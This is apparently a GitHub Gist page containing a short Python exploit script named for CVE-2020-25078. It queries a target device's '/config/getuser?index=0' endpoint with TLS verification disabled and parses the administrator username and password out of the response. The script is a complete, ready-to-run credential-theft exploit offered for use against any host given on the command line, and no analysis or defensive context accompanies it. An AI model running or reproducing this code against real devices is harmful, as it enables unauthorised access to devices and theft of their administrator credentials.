Created
April 18, 2021 18:25
-
-
Save Udyz/9cfd56d661c4a97a002d036d00e6073f to your computer and use it in GitHub Desktop.
CVE-2020-25078.py
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import requests | |
| from requests.packages.urllib3.exceptions import InsecureRequestWarning | |
| requests.packages.urllib3.disable_warnings(InsecureRequestWarning) | |
| import sys | |
| def exploit(url): | |
| vuln = url + '/config/getuser?index=0' | |
| r = requests.get(vuln, verify=False, timeout=5) | |
| if r.status_code == 200 and 'priv=1' in r.text: | |
| user = r.text.split('name=')[1].split('\r\npass')[0] | |
| pwd = r.text.split('\r\npass=')[1].split('\r\npriv')[0] | |
| total = '{URL} | {USR}:{PWD}'.format(URL=url, USR=user, PWD=pwd) | |
| print(total.replace('\n', '')) | |
| try: | |
| exploit(sys.argv[1]) | |
| except(requests.ConnectionError, requests.ConnectTimeout, requests.ReadTimeout) as e: | |
| pass | |
| #python CVE-2020-25078.py <host> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment